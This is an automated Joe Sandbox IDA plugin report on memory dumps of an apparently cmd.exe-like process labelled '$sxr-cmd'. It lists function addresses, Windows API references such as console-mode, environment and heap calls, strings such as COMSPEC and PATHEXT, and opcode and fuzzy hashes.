Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: memset$EnvironmentFileModuleNameVariable_wcsuprfreewcschr
String ID: $P$G$.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS;.MSC$COMSPEC$KEYS$PATH$PATHEXT$PROMPT$\CMD.EXE
API String ID: 318233705-4197029667
Opcode ID: aa9ea99ae18befcdff354521521d3befe7903b525e5394531d6d563bbc5abe5f
Instruction ID: 961f06866075b2b1a04b8f057930b6596c35e57130b8e5121036d0759c48a79e
Opcode Fuzzy Hash: aa9ea99ae18befcdff354521521d3befe7903b525e5394531d6d563bbc5abe5f
Instruction Fuzzy Hash: 79919161B09E8285EFA4AB10D8901F8A3A4FF48BA4FC44535C91E67794EF3DE51CC320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F0580 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 82
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_osfhandle.MSVCRT ref: 00007FF7137F0589
SetConsoleMode.KERNELBASE ref: 00007FF7137F059E
_get_osfhandle.MSVCRT ref: 00007FF7137F05AF
GetConsoleMode.KERNELBASE ref: 00007FF7137F05C5
_get_osfhandle.MSVCRT ref: 00007FF7137F05EF
GetConsoleMode.KERNELBASE ref: 00007FF7137F0605
_get_osfhandle.MSVCRT ref: 00007FF7137F0632
SetConsoleMode.KERNELBASE ref: 00007FF7137F0647
_get_osfhandle.MSVCRT ref: 00007FF7137F0684
SetConsoleMode.KERNELBASE ref: 00007FF7137F0699
_get_osfhandle.MSVCRT ref: 00007FF7137FD891
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF7137FD8A6

Strings

CMD.EXE, xrefs: 00007FF7137F065F

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: ConsoleMode_get_osfhandle
String ID: CMD.EXE
API String ID: 1606018815-3025314500
Opcode ID: 3e686ae0276ad7ff8a78bb3c5d2715100bc0f58041da1ae85f5dc5c67167e71d
Instruction ID: d6394d3c4d3499a8b2829560184a96dda8aa5e7f805f25193b00f20e82d44886
Opcode Fuzzy Hash: 3e686ae0276ad7ff8a78bb3c5d2715100bc0f58041da1ae85f5dc5c67167e71d
Instruction Fuzzy Hash: 9A41FC35A19F028BE7856B15E884578FAA0BB8AB71FD48134C91E63360DF7EA41CC630

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137EC620 Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 312
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleTitleW.KERNELBASE ref: 00007FF7137EC65E
wcschr.MSVCRT ref: 00007FF7137EC792

Strings

:, xrefs: 00007FF7137EC9E2
C:\Windows, xrefs: 00007FF7137EC8E2
/, xrefs: 00007FF7137ECA1B

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: ConsoleTitlewcschr
String ID: /$:$C:\Windows
API String ID: 2364928044-2365244837
Opcode ID: 3ce203a2d681a677f138c339ca1d64b501cdeb8a980a49a03dd7b8658ec4f088
Instruction ID: 3e0cd4211b5a116c3444cef5c9c4730b2630e87cc812026accceb59f3a26f642
Opcode Fuzzy Hash: 3ce203a2d681a677f138c339ca1d64b501cdeb8a980a49a03dd7b8658ec4f088
Instruction Fuzzy Hash: 47C18C65A08A4381FFA4BB1594842B9E2A5BF48BA0FC44231D96E772D5DF3CE84CD320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F8D80 Relevance: 9.1, APIs: 6, Instructions: 95
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.API-MS-WIN-CORE-SYNCH-L1-2-0 ref: 00007FF7137F8DC4
_amsg_exit.MSVCRT ref: 00007FF7137F8DE0
_initterm.MSVCRT ref: 00007FF7137F8E64
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF7137F8E91
exit.MSVCRT ref: 00007FF7137F8EDE
_cexit.MSVCRT ref: 00007FF7137F8EED

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: CurrentImageNonwritableSleep_amsg_exit_cexit_inittermexit
String ID:
API String ID: 4291973834-0
Opcode ID: 1c7d4f9672c25dc89753b58092f3baa3c71a1f277e4bfd9c8df4ae4aed7312e4
Instruction ID: 72056998dfaa14b9796beeaca08af1dd2930cd545ecfb3a6fd037ef02c3ff025
Opcode Fuzzy Hash: 1c7d4f9672c25dc89753b58092f3baa3c71a1f277e4bfd9c8df4ae4aed7312e4
Instruction Fuzzy Hash: 4341DB21A18E2399FBD0BF10E980335E6A4BF58764F840435D92D676A0DFBDE85C8771

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137E89C0 Relevance: 9.1, APIs: 6, Instructions: 85
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF7137E8A18

Part of subcall function 00007FF7137ECA40: memset.MSVCRT ref: 00007FF7137ECAB3

GetDriveTypeW.KERNELBASE ref: 00007FF7137E8A62
GetVolumeInformationW.KERNELBASE ref: 00007FF7137E8ABA
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF7137E8AE1
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF7137FB3FC
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF7137FB424

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: memset$DriveErrorInformationLastTypeVolume
String ID:
API String ID: 850181435-0
Opcode ID: 323850a57e99924bc9cf781ab4045ebe0c1eeb0e1a1d4ccf402750c0a9cf2a6e
Instruction ID: 779eba56883449fe6555408b480aac34ca8a4e3fa000a7d723cb2ea783209036
Opcode Fuzzy Hash: 323850a57e99924bc9cf781ab4045ebe0c1eeb0e1a1d4ccf402750c0a9cf2a6e
Instruction Fuzzy Hash: CD416D32618FC1C9EBA19F20D8842E9BBA4FB89B54F844135DA4D6BB48CF38D54DC720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F4A14 Relevance: 7.5, APIs: 5, Instructions: 49
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetEnvironmentStringsW.KERNELBASE(?,?,00000000,00007FF7137F49F1), ref: 00007FF7137F4A28
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF7137F49F1), ref: 00007FF7137F4A66
RtlAllocateHeap.NTDLL(?,?,00000000,00007FF7137F49F1), ref: 00007FF7137F4A7D
memmove.MSVCRT(?,?,00000000,00007FF7137F49F1), ref: 00007FF7137F4A9A
RtlFreeHeap.NTDLL(?,?,00000000,00007FF7137F49F1), ref: 00007FF7137F4AA2

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: Heap$AllocateEnvironmentFreeProcessStringsmemmove
String ID:
API String ID: 2247642577-0
Opcode ID: 802b6fabda809232f6ce418b0fbabebe6d7003abc813b1358966284b18434ee4
Instruction ID: c789080e4d9b87e5bef752130d5ae65a980cded8ed73cf7c9bf347d32eb58f36
Opcode Fuzzy Hash: 802b6fabda809232f6ce418b0fbabebe6d7003abc813b1358966284b18434ee4
Instruction Fuzzy Hash: 96119122A18F4286DA90AB15A444139FBA4FB8DFA0B899134DE4E23754DF3DE4498760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F3060 Relevance: 6.1, APIs: 4, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7137F1EA0: wcschr.MSVCRT ref: 00007FF7137F1EB3

SetErrorMode.KERNELBASE(00000000,00000000,0000000A,00007FF7137E92AC), ref: 00007FF7137F30CA
SetErrorMode.KERNELBASE ref: 00007FF7137F30DD
GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF7137F30F6
SetErrorMode.KERNELBASE ref: 00007FF7137F3106

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: ErrorMode$FullNamePathwcschr
String ID:
API String ID: 1464828906-0
Opcode ID: ae25a92083232286a245a47a38675b80b3e95939c3784da970b3955f028bd4da
Instruction ID: 499d90502f660c4e71f489f367fbda59370e1dc696d8ad53d8d8bcad1fadc9ef
Opcode Fuzzy Hash: ae25a92083232286a245a47a38675b80b3e95939c3784da970b3955f028bd4da
Instruction Fuzzy Hash: 71310321A08E1286E7A0BF15A48047EF665FB4DBA0FD48135DA6E633D0DF7DE84D8320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F4AD0 Relevance: 6.0, APIs: 4, Instructions: 33memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF7137E8798), ref: 00007FF7137F4AD6
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF7137E8798), ref: 00007FF7137F4AEF

Part of subcall function 00007FF7137F4A14: GetEnvironmentStringsW.KERNELBASE(?,?,00000000,00007FF7137F49F1), ref: 00007FF7137F4A28
Part of subcall function 00007FF7137F4A14: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF7137F49F1), ref: 00007FF7137F4A66
Part of subcall function 00007FF7137F4A14: RtlAllocateHeap.NTDLL(?,?,00000000,00007FF7137F49F1), ref: 00007FF7137F4A7D
Part of subcall function 00007FF7137F4A14: memmove.MSVCRT(?,?,00000000,00007FF7137F49F1), ref: 00007FF7137F4A9A
Part of subcall function 00007FF7137F4A14: RtlFreeHeap.NTDLL(?,?,00000000,00007FF7137F49F1), ref: 00007FF7137F4AA2

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF7137E8798), ref: 00007FF7137FEE64
RtlFreeHeap.NTDLL(?,?,?,00007FF7137E8798), ref: 00007FF7137FEE78

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: Heap$Process$Free$AllocAllocateEnvironmentStringsmemmove
String ID:
API String ID: 3193623387-0
Opcode ID: 573339bfc65e46a6dc0536e612d39ff43a234acebcc174d4b54bf8b687b66270
Instruction ID: ea4029689b8f05a3e2498f5e0000999969b67e8c1bbf797644cb7af78f3475c5
Opcode Fuzzy Hash: 573339bfc65e46a6dc0536e612d39ff43a234acebcc174d4b54bf8b687b66270
Instruction Fuzzy Hash: 94F06221A15F42CBFF85A765A444178E9D2FF8EB61B88D834CD0E62340EE3CA45C8B30

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137ECA40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF7137ECAB3
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF7137FC706

Strings

onecore\base\cmd\maxpathawarestring.cpp, xrefs: 00007FF7137FC6E5

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: memset
String ID: onecore\base\cmd\maxpathawarestring.cpp
API String ID: 2221118986-3416068913
Opcode ID: c44a4f921b2871da75a6341d1782bc5e11e8903ade1904c719f7b607e4e2203c
Instruction ID: c513c31dd0d28facb67b109d1be6130b5ae37001a331224adc18fa99c82417d7
Opcode Fuzzy Hash: c44a4f921b2871da75a6341d1782bc5e11e8903ade1904c719f7b607e4e2203c
Instruction Fuzzy Hash: 5111A321A08E4385EFD0EB55A1842B99290AF88BB4F984331DD7D6B3D5DE3DD04C8320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137EBE00 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF7137EBE52

Part of subcall function 00007FF7137EBFF0: wcschr.MSVCRT ref: 00007FF7137EC03E

Strings

COMSPEC, xrefs: 00007FF7137EBFC7
2, xrefs: 00007FF7137EBF20

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: memsetwcschr
String ID: 2$COMSPEC
API String ID: 1764819092-1738800741
Opcode ID: 2d0ef5fe1d299edb116169e4c9a5eff0224fc8a498bf86c607940334a72b9e92
Instruction ID: 1d8c5f4c355a7634149a6038e87c411d2acf64ca8a86a7a678e46655ba208ee0
Opcode Fuzzy Hash: 2d0ef5fe1d299edb116169e4c9a5eff0224fc8a498bf86c607940334a72b9e92
Instruction Fuzzy Hash: 26519F21A0CE4385FBE8BB259491379EA94AF4C7A4FC44231DA4DB62D5DE3CE84C8771

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F2EFC Relevance: 4.6, APIs: 3, Instructions: 101COMMON

Download Yara Rule

APIs

wcschr.MSVCRT ref: 00007FF7137F2FA1
wcschr.MSVCRT ref: 00007FF7137F2FBC

Part of subcall function 00007FF7137F823C: FindFirstFileExW.KERNELBASE ref: 00007FF7137F8280
Part of subcall function 00007FF7137F823C: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF7137F829D

wcsrchr.MSVCRT ref: 00007FF7137F2FEF

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: wcschr$ErrorFileFindFirstLastwcsrchr
String ID:
API String ID: 4254246844-0
Opcode ID: 053ef0ea037464bca1c3e1451370ecd30b301868f2ab00a5e1309acbdd43457e
Instruction ID: b2570f46169b6ac96902e3e88a3703463ba27a88868b933bd7d79ee94e5c1964
Opcode Fuzzy Hash: 053ef0ea037464bca1c3e1451370ecd30b301868f2ab00a5e1309acbdd43457e
Instruction Fuzzy Hash: 31419221A08F4286FFA0AB04E484379E7A4FF89BA0F844535D96E577C0DF3CE44D8620

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F498C Relevance: 4.5, APIs: 3, Instructions: 33memoryCOMMON

Download Yara Rule

APIs

SetEnvironmentVariableW.KERNELBASE ref: 00007FF7137F49BA
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF7137F49C8
RtlFreeHeap.NTDLL ref: 00007FF7137F49E0

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: Heap$EnvironmentFreeProcessVariable
String ID:
API String ID: 2643372051-0
Opcode ID: 515bd75455fc8bf0b419e36a5d89a3138a905a51cbad146b731857f3ffb38bca
Instruction ID: 43c3682b023ef2b1651b88c005cc0dea68b6a810e4356ae7f9783a4f30195c77
Opcode Fuzzy Hash: 515bd75455fc8bf0b419e36a5d89a3138a905a51cbad146b731857f3ffb38bca
Instruction Fuzzy Hash: B0F08662A19F4286EB80AB66F444075EAE1FF9D7B0BD59234C57E23390DE7C949C8630

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F5A68 Relevance: 4.5, APIs: 3, Instructions: 19COMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00007FF7137F5A89
SetConsoleMode.KERNELBASE ref: 00007FF7137F5A9E
_get_osfhandle.MSVCRT ref: 00007FF7137F5AAC

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: _get_osfhandle$ConsoleMode
String ID:
API String ID: 1591002910-0
Opcode ID: cc4878986f4e42514252d7eb877981450ae5bf52a0b27ba4d12556fbaf1eff51
Instruction ID: 74c8c5c2a9cfd806e016ee0cc343db5c4a71af55dabdb27aaee14228300826aa
Opcode Fuzzy Hash: cc4878986f4e42514252d7eb877981450ae5bf52a0b27ba4d12556fbaf1eff51
Instruction Fuzzy Hash: ECF07038A15F02CBD744AB15E845474B7A0FB8A721FD44174C90E53310DF7EA529C730

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F291C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNELBASE ref: 00007FF7137F294A

Strings

:, xrefs: 00007FF7137F2942

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: DriveType
String ID: :
API String ID: 338552980-336475711
Opcode ID: 3bcdc316eb0a86f33f1a800567ff16fc16a0090fe1dc924e7a0720ee54c15b7d
Instruction ID: d7d9e33b9073df5b5bc97a81d6141401db755ad9da1d5204c83f5650f7ce4510
Opcode Fuzzy Hash: 3bcdc316eb0a86f33f1a800567ff16fc16a0090fe1dc924e7a0720ee54c15b7d
